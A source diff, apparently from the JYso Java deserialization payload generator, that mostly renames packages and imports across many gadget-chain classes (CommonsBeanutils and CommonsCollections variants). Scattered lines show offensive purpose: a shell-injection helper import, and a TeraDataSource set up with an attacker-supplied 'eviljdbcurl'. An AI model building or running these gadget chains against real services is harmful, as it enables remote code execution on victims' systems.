import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.clojure.ClojureUtil;
import java.util.HashMap;
import java.util.Map;
import static com.qi4l.jndi.gadgets.annotation.Authors.JACKOFMOSTTRADES;
import static com.qi4l.JYso.gadgets.annotation.Authors.JACKOFMOSTTRADES;
/**
* Gadget chain:
@@ -1,9 +1,9 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.commons.beanutils.BeanComparator;
import java.util.PriorityQueue;
@@ -1,9 +1,8 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import com.qi4l.jndi.enumtypes.PayloadType;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
@@ -11,7 +10,7 @@ import org.apache.commons.beanutils.BeanComparator;
import java.util.PriorityQueue;
import static com.qi4l.jndi.gadgets.utils.InjShell.insertField;
import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3"})
public class CommonsBeanutils1183NOCC implements ObjectPayload<Object> {
@@ -1,16 +1,15 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import com.qi4l.jndi.enumtypes.PayloadType;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.commons.beanutils.BeanComparator;
import javax.naming.Reference;
import java.math.BigInteger;
import java.util.PriorityQueue;
import static com.qi4l.jndi.gadgets.utils.jdbc.jdbcutils.dbcpByFactory;
import static com.qi4l.JYso.gadgets.utils.jdbc.jdbcutils.dbcpByFactory;
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"})
@@ -1,9 +1,9 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.commons.beanutils.BeanComparator;
import java.util.PriorityQueue;
@@ -1,9 +1,9 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.jndi.gadgets.utils.SuClassLoader;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
import javassist.ClassClassPath;
import javassist.CtClass;
@@ -11,9 +11,9 @@ import java.math.BigInteger;
import java.util.Comparator;
import java.util.PriorityQueue;
import static com.qi4l.jndi.gadgets.Config.Config.POOL;
import static com.qi4l.jndi.gadgets.utils.InjShell.insertField;
import static com.qi4l.jndi.gadgets.utils.Reflections.setFieldValue;
import static com.qi4l.JYso.gadgets.Config.Config.POOL;
import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue;
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3"})
public class CommonsBeanutils2183NOCC implements ObjectPayload<Object> {
@@ -1,9 +1,8 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import com.qi4l.jndi.enumtypes.PayloadType;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.teradata.jdbc.TeraDataSource;
import org.apache.commons.beanutils.BeanComparator;
@@ -14,6 +13,10 @@ import java.util.PriorityQueue;
@Authors({Authors.QI4L})
public class CommonsBeanutils2JDBC implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
if (!command.toLowerCase().startsWith("jdbc:")) {
throw new Exception("Command format is: eviljdbcurl");
}
TeraDataSource dataSource = new TeraDataSource();
dataSource.setBROWSER(command);
dataSource.setLOGMECH("BROWSER");
@@ -1,10 +1,9 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import com.qi4l.jndi.enumtypes.PayloadType;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.SuClassLoader;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
import com.qi4l.JYso.gadgets.utils.Reflections;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
@@ -13,7 +12,7 @@ import java.util.Comparator;
import java.util.PriorityQueue;
import static com.qi4l.jndi.gadgets.utils.InjShell.insertField;
import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "commons-logging:commons-logging:1.2"})
@@ -1,7 +1,7 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.sun.rowset.JdbcRowSetImpl;
import org.apache.commons.beanutils.BeanComparator;
@@ -1,8 +1,8 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.jndi.gadgets.utils.SuClassLoader;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
import com.sun.rowset.JdbcRowSetImpl;
import javassist.ClassClassPath;
import javassist.CtClass;
@@ -11,8 +11,8 @@ import java.math.BigInteger;
import java.util.Comparator;
import java.util.PriorityQueue;
import static com.qi4l.jndi.gadgets.Config.Config.POOL;
import static com.qi4l.jndi.gadgets.utils.InjShell.insertField;
import static com.qi4l.JYso.gadgets.Config.Config.POOL;
import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3"})
public class CommonsBeanutils3183 implements ObjectPayload<Object>{
@@ -1,6 +1,6 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.commons.beanutils.BeanComparator;
import javax.naming.CompositeName;
@@ -1,22 +1,15 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.math.BigInteger;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.Comparator;
import java.util.PriorityQueue;
import static com.qi4l.jndi.gadgets.utils.InjShell.insertField;
import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
@Dependencies({"commons-beanutils:commons-beanutils:1.6.1"})
public class CommonsBeanutils5 implements ObjectPayload<Object> {
@@ -1,9 +1,9 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.sun.org.apache.xerces.internal.dom.AttrNSImpl;
import com.sun.org.apache.xerces.internal.dom.CoreDocumentImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
@@ -1,11 +1,10 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import com.qi4l.jndi.enumtypes.PayloadType;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.jndi.gadgets.utils.SuClassLoader;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
import com.sun.org.apache.xerces.internal.dom.AttrNSImpl;
import com.sun.org.apache.xerces.internal.dom.CoreDocumentImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
@@ -1,9 +1,9 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.lang3.compare.ObjectToStringComparator;
@@ -1,10 +1,10 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.jndi.gadgets.utils.SuClassLoader;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
@@ -1,9 +1,9 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.logging.log4j.util.PropertySource;
@@ -1,10 +1,10 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.jndi.gadgets.utils.SuClassLoader;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
@@ -1,10 +1,10 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.jndi.gadgets.utils.cc.TransformerUtil;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
@@ -1,8 +1,8 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.FactoryTransformer;
@@ -1,7 +1,7 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
@@ -1,7 +1,7 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.cc.TransformerUtil;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.DefaultedMap;
@@ -1,9 +1,9 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.jndi.gadgets.utils.cc.TransformerUtil;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
@@ -1,10 +1,10 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.jndi.gadgets.utils.cc.TransformerUtil;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantFactory;
@@ -1,10 +1,10 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.jndi.gadgets.utils.cc.TransformerUtil;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantFactory;
@@ -1,26 +1,20 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.jndi.gadgets.utils.cc.TransformerUtil;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantFactory;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
@Dependencies({"commons-collections:commons-collections:3.1","jdk:jdk<=8u70"})
@@ -1,9 +1,9 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
@@ -1,10 +1,10 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.JavaVersion;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.JavaVersion;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
@@ -1,9 +1,9 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
@@ -1,10 +1,10 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.JavaVersion;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.jndi.gadgets.utils.cc.TransformerUtil;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.JavaVersion;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
@@ -1,9 +1,9 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.jndi.gadgets.utils.cc.TransformerUtil;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
@@ -1,9 +1,9 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.jndi.gadgets.utils.cc.TransformerUtil;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.LazyMap;
@@ -1,9 +1,9 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.bag.TreeBag;
import org.apache.commons.collections4.comparators.TransformingComparator;
@@ -1,9 +1,9 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.jndi.gadgets.utils.cc.TransformerUtil;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
@@ -1,8 +1,8 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
@@ -1,8 +1,8 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;
@@ -1,9 +1,9 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.jndi.gadgets.utils.cc.TransformerUtil;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
@@ -1,9 +1,9 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.jndi.gadgets.utils.cc.TransformerUtil;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
@@ -1,9 +1,9 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.jndi.gadgets.utils.cc.TransformerUtil;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.map.LazyMap;
@@ -1,10 +1,9 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import com.qi4l.jndi.enumtypes.PayloadType;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
@@ -1,13 +1,13 @@
package com.qi4l.jndi.gadgets.Config;
package com.qi4l.JYso.gadgets.Config;
import com.beust.jcommander.JCommander;
import com.beust.jcommander.Parameter;
import com.beust.jcommander.UnixStyleUsageFormatter;
import com.qi4l.jndi.Starter;
import com.qi4l.jndi.gadgets.ObjectPayload;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.StringUtil;
import com.qi4l.JYso.Starter;
import com.qi4l.JYso.gadgets.ObjectPayload;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.StringUtil;
import javassist.ClassPool;
import java.util.*;
@@ -1,4 +1,4 @@
package com.qi4l.jndi.gadgets.Config;
package com.qi4l.JYso.gadgets.Config;
import java.util.ArrayList;
@@ -1,4 +1,4 @@
package com.qi4l.jndi.gadgets.Config;
